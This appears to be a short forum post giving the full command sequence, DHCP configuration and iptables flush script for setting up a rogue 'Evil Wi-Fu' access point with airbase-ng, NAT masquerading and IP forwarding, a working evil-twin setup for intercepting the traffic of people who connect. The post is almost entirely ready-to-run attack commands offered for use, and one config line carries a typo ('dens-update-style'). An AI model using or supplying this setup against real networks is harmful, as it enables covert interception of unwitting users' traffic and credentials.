When I've done it, this is how:
Commands
Code:
airmon-ng start wlan0
airbase-ng -e "Evil Wi-Fu" -c 11 mon0
ifconfig at0 10.0.0.254 netmask 255.255.255.0
ifconfig at0 up
ifconfig eth0 up && dhclient3 eth0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254
./iptables-flush.sh
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
dhcpd3 -d -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0
echo 1 > /proc/sys/net/ipv4/ip_forward
/etc/dhcpd3/dhcpd.conf
Code:
dens-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.255;
option routers 10.0.0.254;
option domain-name-servers 8.8.8.8;
range 10.0.0.1 10.0.0.140;
}
iptables-flush.sh
Code:
#!/bin/bash
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT